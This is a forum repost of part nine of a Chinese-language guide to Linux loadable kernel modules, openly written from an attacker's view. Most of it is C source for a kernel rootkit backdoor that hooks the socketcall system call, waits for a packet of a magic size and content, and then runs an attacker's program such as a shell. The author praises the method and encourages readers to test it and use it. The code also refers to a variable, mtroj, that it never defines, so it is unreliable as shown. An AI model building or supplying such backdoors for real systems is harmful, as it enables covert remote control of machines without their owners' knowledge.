荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: cycker (快过年吧.我想回家), 信区: Linux
标  题: Linux 可卸载内核模块完全指南(九)(转寄)[转载]
发信站: 荔园晨风BBS站 (Thu Jan  2 18:23:04 2003), 站内信件

【 以下文字转载自 cycker 的信箱 】
【 原文由 xiaofong@bbs.pku.edu.cn 所发表 】
发信人: chenhao (努力学习), 信区: Linux
标  题: Linux 可卸载内核模块完全指南(九)
发信站: 北大未名站 (2000年11月20日01:17:51 星期一) , 转信

第二部分 渐入佳境

2.6 和网络(Socket)有关的入侵

网络是hacker的舞台.让我们看看一些对我们有帮助的东西

2.6.1 如果控制Socket操作

通过控制Socket操作,你可以做很多事情.plaguez给了我们一个很漂亮的后门.他不过是拦
截了sys_socketcall系统调用,等待一个特定内容和长度的包.让我们看看他的替换后的系
统调用(我将只给出这个调用,因为其他的和这一章里面的其他LKMs是一样的):


int hacked_socketcall(int call, unsigned long *args)

{

int ret, ret2, compt;


/*我们的特定的大小*/

int MAGICSIZE=42;


/*我们的特定的内容*/

char *t = "packet_contents";

unsigned long *sargs = args;

unsigned long a0, a1, mmm;

void *buf;


/*进行系统调用*/

ret = (*o_socketcall) (call, args);


/*是收到我们需要大小的包么?*/

if (ret == MAGICSIZE && call == SYS_RECVFROM)

{

/*对参数进行分析*/

a0 = get_user(sargs);

a1 = get_user(sargs + 1);

buf = kmalloc(ret, GFP_KERNEL);

memcpy_fromfs(buf, (void *) a1, ret);

for (compt = 0; compt < ret; compt++)

  if (((char *) (buf))[compt] == 0)

   ((char *) (buf))[compt] = 1;



  /*是否有我们的特定的内容*/

  if (strstr(buf, mtroj))

  {

   kfree(buf);

   ret2 = fork();

  if (ret2 == 0)

  {



   /*如果是,执行我们的程序(shell或者任何我们想要得...)*/

   mmm = current->mm->brk;

   ret2 = brk((void *) (mmm + 256));

   memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);


   /*plaguez的execve实现->见2.4.2*/

   ret2 = my_execve((char *) mmm + 2, NULL, NULL);

  }

}

}

return ret;

}


OK,像往常一样,我对代码加了一些注释.这些代码看上去有点难看.但是很好用.这个代码拦
截了每一个sys_socketcall(这是和所有socket操作有关的系统调用,见1.2).在替换以后的
代码中,我们先调用了正常的系统调用.在此之后返回了值和调用参数被检查.如果这是一个
接收操作并且包的大小(...和tcp/ip包毫无关系...)是我们所需要的,我们就会检查接收包
的内容.如果可以找到我们想要的内容,这个代码就会确定我们(hacker)想启动一个后门程
序.这个由my_execve(...)完成.


在我看来,这个实现十分的好.他也可以用来等待一个特定的连接或者关闭操作,只要你有创
造力.


要记住上面提到的方法需要一个在某个端口的服务.因为接收操作只会在一个守护进程从某
个已经建立的连接中接收数据时才会发生.这是一个不好的地方,因为某些多疑的管理员会
注意到这些.在你的系统中测试这些后门程序并看看会发生什么事情.发现你的最喜欢的利
用sys_socketcall的方法,并且在你控制的系统中使用他.


--
※ 来源:.北大未名站 bbs.pku.edu.cn [FROM: 162.105.45.129]
--
※ 转寄:·北大未名站 bbs.pku.edu.cn·[FROM: 210.39.3.50]
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.36.220]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店